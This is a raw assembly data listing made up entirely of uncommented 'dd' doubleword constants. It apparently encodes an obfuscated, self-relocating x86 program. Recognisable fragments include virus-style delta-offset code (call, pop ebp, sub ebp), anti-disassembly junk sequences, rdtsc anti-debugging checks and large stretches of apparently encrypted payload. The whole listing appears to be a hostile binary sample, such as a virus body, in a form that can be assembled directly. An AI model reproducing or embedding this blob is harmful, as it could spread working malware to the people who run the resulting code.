		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 18A068C3h, 0BF60B46Dh, 2967622h, 6E950h, 0F92A0000h
		dd 9133D8DCh, 8589615Eh, 5EA1431h, 0CE9h, 0CA9DD400h, 800C9A2Fh
		dd 0C97D21E1h, 816660D2h, 601764C1h, 8E8h, 91D74000h, 0A3C1C1EFh
		dd 61605E74h, 89646161h, 25h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 9F0013C5h
		dd 1A332BA7h, 858D8799h, 5EDC19Eh, 0FBA6660h, 0F6D8BFF1h
		dd 89610C46h, 95290160h, 5EA1BCDh, 22CE9h, 858B6000h, 5EA07A5h
		dd 0E8DB8B61h, 0
		dd 97ED815Dh, 0BC05EDC1h, 12FF9Ch, 1CD1BD83h, 740005EAh
		dd 95858B18h, 0C605EA0Ch, 858B0000h, 5EA2B85h, 0FF0000C6h
		dd 0EA2E7D95h, 0B5FF6005h, 5EDAB8Ch, 0AB90858Dh, 8D5005EDh
		dd 0EDAD8885h, 95FF5005h, 5EA0C69h, 610CC483h, 0D8CCBA60h
		dd 0BD894428h, 5EA2F21h, 56006A61h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 9E9ADD4h, 69000000h, 6C787C9Eh
		dd 0F9A1E375h, 0AD88B58Dh, 6A05EDh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 60F9B7C3h
		dd 11119529h, 8A0F05EAh, 3, 61C78B66h, 20FDBD8Dh, 6A05EAh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 298871C3h, 0EA2D2D8Dh, 13E905h, 0F2630000h, 0DAD2CB56h
		dd 0E86D0468h, 0AAE95620h, 0FF9CDF80h, 880F608Ch, 6, 599D8Bh
		dd 0D38105EAh, 24E8F6A0h, 3E8061h, 4E840Fh, 8D290000h
		dd 5EA2AC1h, 51006AA4h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 950265FBh, 0CAE9F815h, 6AFFFFFFh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 4B7CC351h, 7CD906A3h, 0B8h, 0CE900h, 307F0000h
		dd 24EF4E9Dh, 0DCDFC059h, 6AAA8C06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0A07AC352h
		dd 6653DC3Ah, 7B8h, 9D31FC00h, 5EA015Dh, 1CE185C7h, 105EAh
		dd 8D010000h, 5EA0059h,	4C218D8Dh, 0BD8905EAh, 5EA06DDh
		dd 10E960h, 860E0000h, 549B1E8Ch, 4791FF17h, 0C2A9280h
		dd 8C0F72B0h, 0
		dd 0E9E1FF61h, 8, 97F9609h, 7729371Ah, 0C245C8Bh, 0E855h
		dd 815D0000h, 0EDC391EDh, 0B8838B05h, 89000000h, 0EDAB8C85h
		dd 90858D05h, 8905EDC1h, 0B883h, 0C0335D00h, 55006AC3h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 22B2AFFBh, 0F6FB05Fh, 686h, 559D8900h, 0F05EA08h, 681h
		dd 0CD8D8900h, 6A05EA31h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 71D0C352h, 52EA32BDh
		dd 57610035h, 85B53160h, 0FC05EA16h, 0C648858Dh, 0BD3105EDh
		dd 5EA0345h, 0FE990h, 0E8720000h, 3492B23Fh, 2926858h
		dd 0FBE5334Ch, 0CE9508Eh, 0E2000000h, 0E4777048h, 66975E2Bh
		dd 901518F8h, 35FF64F9h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0A9C35646h
		dd 62259A8Eh, 8960F8AFh, 0EA2F4595h, 6122B705h,	258964h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0DA31C355h, 6B301D95h,	8D292403h
		dd 5EA06F9h, 0C6EE858Dh, 852905EDh, 5EA2E21h, 6A016089h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0E41CC352h, 6D84C67Eh, 2AD15168h,	4585C6F9h
		dd 4F05EA1Ah, 1BED8589h, 4E805EAh, 2A000000h, 50FEC874h
		dd 0F525052h, 8Ah, 0E9310F00h, 0Fh, 1B28B887h, 2CC01098h
		dd 0E4250CB5h, 5AA134A1h, 0E9310F58h, 11h, 19C9D288h, 0E3B2D69Ah
		dd 0FCAA9DF4h, 0E5DEEB37h, 50585AB8h, 10860Fh, 0BE90000h
		dd 20000000h, 0CC2D5BA4h, 5F86976h, 448B278Ch, 52500424h
		dd 61605250h, 5250310Fh, 585A310Fh, 310F585Ah, 6880Fh
		dd 860F0000h, 0
		dd 8B585Ah, 6165B060h, 4244489h, 0E9605250h, 12h, 0ECD77548h
		dd 7D8E0234h, 442CC140h, 7F229248h, 5BB17525h, 50310F61h
		dd 0F616052h, 0F525031h, 5A585A31h, 58585A58h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 1AC35141h, 0B4C3D519h
		dd 0FF7B741Ah, 0EA238DB5h, 91B53105h, 8D05EA0Ch, 0EDAFA085h
		dd 1830F05h, 0F5000000h, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 515D8DC3h, 2F58810Ch
		dd 1422978h, 0EA1571BDh, 0D1E905h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 799797C3h
		dd 0C0E7AF96h, 0B52B605Dh, 5EA2E61h, 245C8B61h,	0E8550Ch
		dd 5D000000h, 0C652ED81h, 858B05EDh, 5EA1D45h, 238D8589h
		dd 858B05EAh, 5EA1C8Dh,	0F6D8589h, 858B05EAh, 5EA2B19h
		dd 1458589h, 85C605EAh,	5EA1A45h, 0ED85C700h, 5EDB0h, 8D000000h
		dd 0EDC6EE85h, 0B8838905h, 5D000000h, 6AC3C033h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0AFE3C355h, 6800Fh, 95890000h, 5EA2D6Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0C35040h, 81950160h
		dd 6605EA20h, 0BC61C28Bh, 12FF74h, 12198D89h, 8F6405EAh
		dd 5, 12E900h, 89C50000h, 0FE304A12h, 13C71C48h, 36F01F0Ah
		dd 2548ED0Dh, 131D9589h, 0C48305EAh, 50006A04h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0BC1E472Fh
		dd 9D015640h, 5EA0661h,	13E861h, 0A68C0000h, 0BCB6107Eh
		dd 4BCB5538h, 489C3A60h, 13F98B7Ah, 58CA8BF4h, 81D38B66h
		dd 6EF7C0h, 6840F00h, 81000000h, 3F529FC9h, 1B82BB58h
		dd 9E90000h, 31000000h,	0CBF4431h, 0D930FB37h, 8E930FFh
		dd 0D8000000h, 0C825A8A0h, 5E48CABCh, 14E956h, 39CA0000h
		dd 0BC4E586Ah, 34078410h, 0A33BEE3Fh, 20698E36h, 815A8CC1h
		dd 0FC2903F6h, 94EE8156h, 297354F6h, 0EA0BE5B5h, 0D6C68105h
		dd 0F4774A3h, 68Ch, 0C5BD8B00h,	5605EA1Bh, 0B830Fh, 8D0F0000h
		dd 5, 7EB0FCBAh, 0E8008F45h, 7,	7E5CA94Bh, 0E9BAF30Eh
		dd 8, 0F72AFF0Ah, 17B017EFh, 4E88359h, 1811958Bh, 0F4B05EAh
		dd 1585h, 23E900h, 16710000h, 0A9B2421h, 31CEE6B7h, 0C38FC64Bh
		dd 8589EE36h, 5EA15F9h,	0FFFF53E9h, 7ECC95FFh, 0BEA18EFEh
		dd 12E8D0h, 0B6BD0000h,	58CEAF47h, 19B67732h, 31E521F9h
		dd 0FED8A50h, 159D88Bh,	0EA29818Dh, 68C18105h, 6600006Eh
		dd 0B7F6DB81h, 0F480FF33h, 39348B9Dh, 30F58D29h, 0F68105EAh
		dd 993A505h, 5B6FB350h,	87AFEE81h, 0EE81173Eh, 6ADFFA1Ch
		dd 19D19D23h, 348905EAh, 0A006BB39h, 90B07A8Ah,	5001EF83h
		dd 5A4FC480h, 0F4F4F4Fh, 681h, 41858B00h, 8105EA0Ah, 0FF9214FFh
		dd 0AE850FFFh, 66FFFFFFh, 0E5E9C78Bh, 10000000h, 0DCFFEE4Dh
		dd 1D1F3271h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh,	7F2D773Dh
		dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h
		dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6D171E57h
		dd 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh,	20A1E4A9h
		dd 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h, 20206020h
		dd 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h, 0A7286020h
		dd 50F0362Bh, 0B6F360D6h, 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h
		dd 6DB9E9B3h, 602060F7h, 60206020h, 6DF72020h, 73351ADFh
		dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh,	7F2D773Dh
		dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h
		dd 37335375h, 357D2F6Dh, 0E0A1Eh, 0A766C1A8h, 43F2FD54h
		dd 6F1A1AFAh, 0CF2E9h, 0CC626800h, 0BBE905EDh, 68FFFCB4h
		dd 5EDCD7Ah, 0FCB4B1E9h, 0CE4868FFh, 0A7E905EDh, 68FFFCB4h
		dd 5EDCF19h, 0FCB49DE9h, 0CFB668FFh, 93E905EDh,	68FFFCB4h
		dd 5EDD055h, 0FCB489E9h, 0D17C68FFh, 7FE905EDh,	68FFFCB4h
		dd 5EDD275h, 0FCB475E9h, 0D33F68FFh, 6BE905EDh,	68FFFCB4h
		dd 5EDD40Ah, 0FCB461E9h, 0D4DE68FFh, 57E905EDh,	4FFFFCB4h
		dd 0F8025609h, 6892C677h, 0E41E4AEBh, 6A90C475h, 0B91F4BE8h
		dd 6B084A38h, 0E291C53Fh, 6F104CB6h, 0ED8CC13Bh, 338113B9h
		dd 1D443139h, 6DA9008Ch, 633508E8h, 1E686C9Ch, 56D8D8ACh
		dd 0DFB32B17h, 9DF1A0D5h, 2BCA0DC3h, 0E848EB87h, 59FA78B6h
		dd 0DA7DFFF5h, 9A3BBCB6h, 4B73F39h, 7A72C05Ah, 971756D9h
		dd 0AA6BCE60h, 0A33B4CE3h, 0B5AFA000h, 1585A45Ch, 0B2113769h
		dd 0BE3784F0h, 27E94713h, 0CCA00CAFh, 461F6A6Fh, 0F6A3D618h
		dd 243D775Ah, 0C0E0288Ch, 0EF5D0FACh, 12BD46C0h, 8D872BB3h
		dd 53FDA948h, 1C74B5BAh, 0B91A2576h, 1BA936BFh,	116CC321h
		dd 0CC600C94h, 6CC2C5BAh, 62114511h, 0E596C4CEh, 33A1E349h
		dd 0E945F664h, 0F41E985h, 11448ADDh, 90C5C360h,	0D51BB5E1h
		dd 5452F1A0h, 0FCF04221h, 4F116CC2h, 1D17BBD7h,	0C2D678D8h
		dd 0B6550CB3h, 90DE76DAh, 731E5764h, 0C26AC42Dh, 6C23DA37h
		dd 552397CFh, 0A12E24AFh, 552h,	11A339F8h, 1756671Bh, 7EFCF66Eh
		dd 0F5787EDDh, 764CB222h, 32C1DB36h, 0E5892549h, 0A62F2589h
		dd 53A65F0Bh, 3966D48Ah, 0C12BCDBh, 73DF7CF2h, 0F9F3411Fh
		dd 4C116CB8h, 4A14B8D4h, 41707EA3h, 0BB1868F2h,	6D05EFC1h
		dd 0D5074911h, 24DC0088h, 270C2Eh, 39550000h, 7CD083F7h
		dd 63B6B310h, 5D76C49Ah, 1012BC49h, 5E522488h, 0DA116C39h
		dd 6B1D6894h, 9B2E240Bh, 106h, 49E86DC2h, 453F8D17h, 0E2175667h
		dd 0B7511A88h, 0DA2453B3h, 0D789E59Ah, 574D8F65h, 0D97AE217h
		dd 66E92779h, 0D4771BB7h, 54B2A0D2h, 99EDBD33h,	676DC1ADh
		dd 0E5EF43EEh, 1395C170h, 175735ECh, 27A86BE2h,	9C30E110h
		dd 0A4F09CF0h, 247A175Eh, 19B56AEAh, 7F76D675h,	0C21C122Ah
		dd 0A12219A5h, 1C7023ABh, 0E147F042h, 50FA12BCh, 6CCE0AE2h
		dd 89E57D11h, 3CBD73DDh, 340C85DCh, 0E589F1C1h,	6F364346h
		dd 63788331h, 0EC220CD1h, 1269CA6Bh, 0D81AD48Ah, 27AB653Bh
		dd 0B8F5D874h, 0EF8903E5h, 0C69E3D51h, 2E1DBE3Ch, 0E80CC663h
		dd 8C8051F9h, 0F000009h, 0B84216C9h, 28D28637h,	0A45E0AABh
		dd 2AD08435h, 0F95F0BA8h, 2BC80A78h, 0A251857Fh, 2FD00CF6h
		dd 0AD4C817Bh, 73C153F9h, 1D443379h, 6DE940CCh,	8A928EDh
		dd 0FAA4C8A4h, 2B69A013h, 7A40E12h, 8130A55Fh, 44B57BD5h
		dd 0A90F20D4h, 0A6CAAC20h, 1B6EA005h, 0B5AE1C42h, 4812BC48h
		dd 0C120FA91h, 630F77E3h, 88C7B9CFh, 7F31116Bh,	0F240DA0Dh
		dd 116B88FAh, 9ADFD54Dh, 64145CFFh, 902E235Bh, 0D8h, 6A9FD73Eh
		dd 4A5AA22Eh, 29685E67h, 7EDD5C35h, 49E86DDBh, 475BBE5h
		dd 3695F955h, 0BD11C230h, 5665C4CBh, 16C30A17h,	0CE05EC42h
		dd 0E36EDD38h, 81582C9Eh, 33AB1755h, 7E5A725Fh,	0A8960623h
		dd 29C80D0Bh, 0E715DB85h, 83969330h, 0A956E4BAh, 5C12BC34h
		dd 0F03E90C4h, 0A4D7DD7Eh, 425752F1h, 56BF257Bh, 2574F3C5h
		dd 0C76D5D8h, 0CD04B18h, 0F76D33ABh, 19E5DF6Dh,	0C0580B7Fh
		dd 46F56563h, 0AF6AE812h, 0D0E38F2Ah, 0E80E04F7h
		dd 7474A50Dh, 17000008h, 906A3EE1h, 10EABE5Fh, 9C6632E3h
		dd 12E8BC5Dh, 0C16733E0h, 3B02240h, 8A29AD57h, 7B824DEh
		dd 7524A953h, 0AB198B21h, 1D4433D1h, 6D01A824h,	0E01A4EEDh
		dd 5C92CC6Dh, 0B8D47819h, 329E3BB2h, 0FCA5FD5Eh, 0E549E86Dh
		dd 2FAD66EFh, 1EB0E488h, 52FE9FD0h, 7D29D3Eh, 36683544h
		dd 0BC7CEF84h, 805AC212h, 0FA9BDC12h, 0E3993A56h, 0E3B3F827h
		dd 9E3DB17Fh, 14F1383Dh, 0B67BF84Ah, 56CE0E09h,	0DFA6F3FAh
		dd 33811B81h, 0CB9B439h, 0CDB7148Ch, 81F169Bh, 0BEB604AEh
		dd 3106CC03h, 6F45F7A9h, 0C206CC04h, 8168365Ah,	94DB21D5h
		dd 9CBCCCE1h, 63ADFF5Ch, 0F7A0EEAh, 0E0B31E53h,	0AB22D88Ch
		dd 0CF6E3D0Eh, 3E96ECC0h, 7A6EFh, 0CB32500h, 882DA258h
		dd 0B526DCh, 8E2BAE54h,	1B220DAh, 3072F355h, 0BF4511C2h
		dd 2AD08437h, 5BA1F5AAh, 99336712h, 34C3B90Bh, 0BA361D44h
		dd 49E86D13h, 5EB0FE17h, 0E0808C19h, 16DC172h, 676ECE6Dh
		dd 8F154B12h, 3FCDA715h, 1C5D1757h, 0CABDD17Dh,	908BF152h
		dd 2312BD41h, 316EFBBh,	83D6643Ah, 0B20CD279h, 33BA742Ah
		dd 46F37AB4h, 7F673C30h, 7B178F0Bh, 0D4F812Fh, 86CFC96Ah
		dd 9D2FB5EBh, 0B7F66A7h, 8121821Ah, 33E211DFh, 0A804BB39h
		dd 176267C4h, 88A2104Eh, 5E06E4AEh, 90BD5E90h, 1D3EF693h
		dd 651EBD3Bh, 0E86DA3FDh, 6EE71D49h, 0FF316FC3h, 7D78DB76h
		dd 0BD0F512Ch, 0F7DB6Eh, 4DEAD941h, 5BF3E554h, 6D522F3h
		dd 4740000h, 7AFD0753h,	6758FDBh, 78F90357h, 3778DD9h
		dd 23A20450h, 386C0F43h, 0BBEF8CC2h, 386C1341h,	0BAEE8BC2h
		dd 3C308210h, 8F1D4436h, 1B6EAA03h, 39F51C42h, 0BC5E8093h
		dd 15791A5Ch, 1456E4B6h, 0E312BC53h, 62EB257Bh,	0D000E9B7h
		dd 0BF2EF968h, 0B11F47E4h, 0E645F87Fh, 60CC6DE0h, 0AB232069h
		dd 96C8A408h, 69015024h, 573BA311h, 195D9309h, 7EB0577Ah
		dd 37245F1Bh, 0C5F5EE94h, 22880CCEh, 7EB49C90h,	5A77EF0Bh
		dd 0B9A9EB20h, 0E3D5122h, 0E80E816Bh, 38C819B1h, 0DB000006h
		dd 4CB6E295h, 0C43E6A0Bh, 48B2E697h, 0C63C6809h, 15B3E794h
		dd 0CF6CEE94h, 4EED619Bh, 0C374E01Ah, 49E86D97h, 9725B71Dh
		dd 1D44359Dh, 6E359C10h, 2B3241Bh, 0F0AEC2AEh, 0BBB00F42h
		dd 0F8A63E12h, 174BF36h, 10DC7D50h, 3FA79FBFh, 78FD0753h
		dd 2D7C75D9h, 86BC0E50h, 750CCE40h, 9B29B3EDh, 0B7B2FA1h
		dd 60D28C14h, 0B7B308Ch, 96C467FFh, 0CC021558h,	0B917432Fh
		dd 0F15D0077h, 0B5383E9Dh, 58A1A804h, 3261D38Dh, 2C06E134h
		dd 6DCE6BE2h, 4BD8E16h,	38EDFBFBh, 5994190h, 0B8380000h
		dd 26A95307h, 9AD92377h, 2455AFFBh, 97DB2175h, 9716B0E4h
		dd 9CC86BEFh, 1743F066h, 9CC86FEDh, 1642EF66h, 0A89C2EBCh
		dd 1B1D4436h, 0D0393E97h, 0F7CDB884h, 0A19B2969h, 14175666h
		dd 4543E08Ch, 0C7CD6110h, 4EB7E38Eh, 8E3C623Bh,	12BC7561h
		dd 1660CC54h, 116C5322h, 59A4D09Eh, 2E2429AFh, 4BDFh, 0F7398600h
		dd 7471D285h, 0B4065825h, 12BC489Fh, 0EA2DAC52h, 76DAB663h
		dd 0E628761Ah, 784CFE71h, 0CB116C38h, 0FF933F53h, 0B68AFC5Ch
		dd 2116C37h, 23D5204Ch,	582E240Ah, 36846396h, 116C2C3Eh
		dd 0E94529B1h, 0C47F2685h, 26000000h, 0E549E86Dh, 64C86BEFh
		dd 0E64AE76Eh, 9CC869ECh, 0C2FDDB32h, 17DD8954h, 0FC5F33DEh
		dd 56698186h, 55044917h, 0C772FB01h, 0F9437099h, 995071CEh
		dd 2DC49A3Ah, 885DC87Eh, 2421826Ch, 0E45608D5h,	12BD2F6Bh
		dd 16D8861Eh, 0CC9437E4h, 4719E435h, 0D17F27F5h, 7EFD330Ch
		dd 0F59938B9h, 0ED963559h, 75E52B75h, 0EA6892C6h, 0D0DB7A49h
		dd 41E9E80Ch, 47290h, 38DF1100h, 0BC61966Ch, 3CE112E8h
		dd 0B25F9268h, 3DDE1CE6h, 344ECF69h, 0BB4115C6h, 2ED48033h
		dd 0A75D09AEh, 7DD7832Eh, 38675DEFh, 56DA1D44h,	28ED6DFFh
		dd 0D2010BACh, 8FE38F23h, 5DEF75DBh, 17566767h,	0E7E142DAh
		dd 8534A56Eh, 39E4BDE9h, 7EDD80F7h, 9572E7Bh, 0BC48A0BBh
		dd 67CB5312h, 6C381F11h, 0CF6AEF11h, 37E66963h,	7B7FB69Bh
		dd 701C984Eh, 0BBDA0A54h, 125B89C7h, 2E238E66h,	0B796h
		dd 0E86DCF00h, 6BEFE549h, 0ED1264C8h, 0A9175665h, 62AB8133h
		dd 7F441756h, 5576C2CDh, 0D271E99Eh, 0A4F0A1D4h, 0D67A175Eh
		dd 0ADF3CADFh, 0BB66801Fh, 0F5AB3312h, 0A300B33Bh, 7DCF55FBh
		dd 116B6487h, 0C4C162FAh, 4B6E8B5h, 0CCFB9F7h, 5203748Ah
		dd 1A12A0FEh, 6D0B7E89h, 0ABF599F5h, 1246F565h,	5886AE8h
		dd 230CACEDh, 5EF3C0ACh, 6AE80EA2h, 37913C2h, 0D8180000h
		dd 46897327h, 0BA39C397h, 44B54F1Bh, 0B73BC195h, 77F65004h
		dd 7C28CB0Fh, 0F7A35086h, 7C28CF0Dh, 0F6A24F86h, 887CCE5Ch
		dd 0FB1D4439h, 0ED6DDE77h, 5DB41A4Eh, 57A2C62Fh, 5A5CFF47h
		dd 6B326613h, 0EF80F739h, 5667675Dh, 2E42DA17h,	0F1428B8Dh
		dd 13BFD382h, 7125D419h, 2772F5C2h, 6804B538h, 6545AC36h
		dd 0FFF54788h, 72175714h, 37D5C7EAh, 47FC8625h,	3A12BCEBh
		dd 86C278A2h, 0C7AD7964h, 7B5EBB2h, 689D4784h, 0A03AF37h
		dd 0B67826FFh, 66349744h, 1EBB32FCh, 34FAF240h,	0D54D674Dh
		dd 97DC0C76h, 77EF62B2h, 0C36EE729h, 7E21539Dh,	46B4BED2h
		dd 0F6553995h, 702154AEh, 2D9AD043h, 5D8C2492h,	2AFh, 2D791E52h
		dd 0A9FDA0D7h, 297D2053h, 0A7F39ED3h, 2A7E1D5Dh, 1710D8Ch
		dd 7AFC0652h, 5778DD9h,	79FC0652h, 0B4268CD8h, 443A2E06h
		dd 0A40D811Dh, 0E549E86Dh, 9EC09DECh, 0BC65232Ch, 1A4ED612h
		dd 0C8D19CA9h, 384AA3FDh, 0E38E915Bh, 3785D774h, 0CD1D37Ch
		dd 0B70DD74Fh, 0A0034485h, 0D533F811h, 5FD759Eh, 8F56A3A6h
		dd 5CDD1FD1h, 0BFD37F20h, 902270D3h, 4A58BA13h,	0C52FE66h
		dd 4EE28FC2h, 75848122h, 856CF6A8h, 2F36BFEBh, 843BB9B7h
		dd 8B284428h, 6E6E9FF1h, 0C735FB44h, 73D0BC10h,	5397D108h
		dd 0D8BA2232h, 1B07926Ah, 117DE543h, 68ED237Dh,	0DC1227AFh
		dd 6B3F533Fh, 8EBD5C91h, 0B072181Dh, 0E49A4BE3h, 67000001h
		dd 0E01A4EF1h, 609ACE6Fh, 0EC1642F3h, 6298CC6Dh, 0B11743F0h
		dd 53007230h, 0DA79FD07h, 5708748Eh, 0C574F903h, 1BA93B91h
		dd 1D443B21h, 39B11894h, 74D782F7h, 5EFB72h, 6754289Ah
		dd 3FA71756h, 8B623C9Ch, 24734C58h, 484DEEF1h, 883A6441h
		dd 12BC6AB7h, 0D586F40Ah, 27791579h, 69350FBDh,	1088116Ch
		dd 7858EBB3h, 0B3EDB8C1h, 0D27F6A01h, 1FC55D0Ch, 0D0732FA5h
		dd 906DBCA3h, 40FF7CCEh, 0EA724DF5h, 68F77AB4h,	0A53EE2DAh
		dd 0A1CD554Ch, 5EABA202h, 356BD987h, 48480AA2h,	0FA9643B6h
		dd 0E8124DA4h, 442F4DB9h, 567B7C97h, 0BE1D54EDh, 39B876ECh
		dd 6583498h, 0B7F3C0B4h, 8AB3346h, 7E2AC70Eh, 93A05184h
		dd 0ACD52B1Ch, 109140E8h, 0B3000001h, 34CE9A3Dh, 0BC4612C3h
		dd 30CA9E3Fh, 0BE4410C1h, 6DCB9F3Ch, 0B76496ECh, 26D519E3h
		dd 0AB4C8872h, 21D005FFh, 0FF4DDF75h, 1D443B05h, 6D5DF478h
		dd 0BBE549E8h, 0C5340175h, 0B8D4B814h, 309C41B2h, 0AFFAFF5Ch
		dd 0A01288D6h, 175666CCh, 5604A73Fh, 599856CCh,	66F6CEB8h
		dd 0D1491756h, 4A370872h, 748A12BCh, 623C5001h,	208C2DACh
		dd 4EB7EF4Ch, 8E3C623Bh, 0CD18053h, 5C56FA62h, 0D62C7819h
		dd 0B566949Fh, 50C4C98h, 0EE825AF8h, 0A0D21C42h, 90335FF3h
		dd 0C9AC19EAh, 4C1D5171h, 869C06FEh, 8DE179A0h,	0C5A22B21h
		dd 869C7D77h, 468F0A0h,	8C31A2A8h, 0AAE44C20h, 59F87D3Ah
		dd 0EE203A35h, 0E62CE6Bh, 3E7DEFADh, 0AD441AB7h, 1E5D0F97h
		dd 0D1E3527Fh, 2AD0882Bh, 505AF6A3h, 8CDC7021h,	3BA1C232h
		dd 866EB389h, 3D9E06A0h, 5307B23Bh, 233424A9h, 7A9CAEEDh
		dd 0A2FC503Ch, 0E549EA6Ch, 0AD508389h, 13CE6D01h, 3, 6DA5084Ah
		dd 929834EBh, 1812BE5Bh, 9D973BDCh, 1C16BA59h, 9B913DDEh
		dd 208A457h, 848E22CFh,	0AA657h, 0E9822ECFh, 542A68h, 242C8900h
		dd 204368h, 242C8900h, 422A68h,	24148900h, 1F116857h, 875F23FEh
		dd 0DF874BDFh, 5F55EF81h, 0CF81186Bh, 4B8B03FAh, 75D9F781h
		dd 0FD894E76h, 7E3685Fh, 24890000h, 24048124h, 4, 5516685Ah
		dd 2C890000h, 242C8124h, 56632401h, 8108428Fh, 24010842h
		dd 34FF5663h, 0C4815A24h, 4, 53242C8Bh,	0C381E389h, 4
		dd 4C381h, 1C870000h, 0DFE95C24h, 0FDFFFCA7h, 0DCD4688Ah
		dd 0FB9E8EE5h, 0B876C749h, 5EDD613h, 0E0FFC503h, 614388B4h
		dd 1FFCE530h, 5FC171B8h, 24C53A5Bh, 0D6F7B11h, 29C1F539h
		dd 148E9h, 5000h, 5400h, 5800h,	5C00h, 6000h, 6400h, 6800h
		dd 6C00h, 0B000h, 0B400h, 0B800h, 0BC00h, 0C000h, 0C400h
		dd 0C800h, 0CC00h, 0D000h, 0D400h, 0D800h, 0DC00h, 0E000h
		dd 0E400h, 0E800h, 0EC00h, 38h dup(0)
		dd 57E19500h, 0A050EB00h, 0CC858D00h, 8905EDD6h, 0EDD80C85h
		dd 28B0F05h, 8B000000h,	4585C6CAh, 5405EA1Ah, 101D8D89h
		dd 68F905EAh, 0B3997A4Fh, 27C091B9h, 24348129h,	5DFB1266h
		dd 10E8h, 5251CB00h, 0B7470ECAh, 0C47CAA1Dh, 94CFB24Ah
		dd 0B5FF5AC2h, 5EA238Dh, 8D61F860h, 0EDAFA085h,	0FFFB8B05h
		dd 0B19509D0h, 8905EA0Bh, 0EDD81085h, 9E905h, 0C3C20000h
		dd 835C3CFBh, 0E9755694h, 63h, 8870Fh, 0F510000h, 82h
		dd 8B565F00h, 0EDD80CB5h, 83068905h, 0EDD80C85h, 0C35E0405h
		dd 0CCB58D60h, 0EB05EDD6h, 6A560Fh, 95FF36FFh, 5EDD810h
		dd 4C6835Eh, 75003E83h,	1C361ECh, 0EA1721B5h, 81666005h
		dd 0E9DF99CFh, 0Ch, 204CE9E0h, 59F85D8Ah, 5FA29D7Ch, 719D2961h
		dd 8D05EA03h, 0EDD8AF85h, 0BE805h, 787D0000h, 80AB6807h
		dd 589B2216h, 895EF579h, 0EA086D85h, 9E805h, 26010000h
		dd 0E1AF402Bh, 8118FAF6h, 510264CFh, 8E9593Ch, 0E8000000h
		dd 0F74D6156h, 81958AE8h, 5D81C1h, 0FD852300h, 3305EA17h
		dd 13E9F6h, 813C0000h, 2A8864E8h, 3023EB6Ah, 0CB2266B1h
		dd 4FEA812Eh, 31148B8Eh, 28D0Fh, 9FB00000h, 4E0FEA81h
		dd 81F86B58h, 88F2F4F2h, 0C3816619h, 0C281FA13h, 76B47CE9h
		dd 5765C781h, 1489217Ah, 0BADF8031h, 9468EE81h,	81FC5948h
		dd 489464C6h, 0DDB58959h, 8105EA30h, 0FFA338FEh, 18850FFFh
		dd 8A000000h, 25E9FEh, 42B00000h, 8CDCED19h, 76B29BECh
		dd 2F64DDC7h, 8B3AC5D4h, 0EA291DBDh, 0FF8FE905h, 9D5BFFFFh
		dd 10D8237h, 0EB04F03Dh, 0C0000039h, 0C002CC00h, 0C002E400h
		dd 0
		dd 0BA5A6900h, 0A356C946h, 0B25E2E77h, 0B95AD423h, 0B31DBC4Eh
		dd 9933844Fh, 9B7F3077h, 98477423h, 835D7853h, 0B656FC4Bh
		dd 0BD534747h, 0D4DBF123h, 0F733D123h, 5E692B79h, 56375077h
		dd 0C2371E67h, 95331D23h, 0B7AD4D71h, 683C87A8h, 0E8E20F4h
		dd 0D7363B30h, 6AB0E156h, 0D2D95AC6h, 872A4E23h, 6FF39670h
		dd 0D7338A9Ah, 0DA4AC2AAh, 4ABEA6C9h, 0D2DF0CD6h, 8F683BDCh
		dd 0F9D6C9A0h, 0A3333FC9h, 6F604D34h, 0D7338A9Ah, 0DA4AC2AAh
		dd 4ABEA6C9h, 0D2DF0BC7h, 8F683BDCh, 3F667449h,	0D7333A20h
		dd 8AF04003h, 0D317E2AAh, 0D31703A2h, 0D733A338h, 0EAF08466h
		dd 7E672D35h, 683B9674h, 0D47153B4h, 17B8CEA9h,	3F668E49h
		dd 0D7334720h, 8AF0FE03h, 0D317BDAAh, 0D317ACA2h, 0D7337437h
		dd 67F06F66h, 0D735952Ch, 62008E23h, 0D2D96486h, 0F90A16A8h
		dd 52F5D4C9h, 0D2D9F266h, 46A6FF75h, 3F36D038h,	0D7331D27h
		dd 4B9B3671h, 68551573h, 0E63CA88Ch, 8F6919A8h,	2FB88E73h
		dd 0D31730A8h, 64328045h, 6D551DA8h, 93BACDF4h,	5F3C4307h
		dd 0D733A325h, 0B76A8143h, 0BD6B8942h, 0D4DB2323h, 0F7333A23h
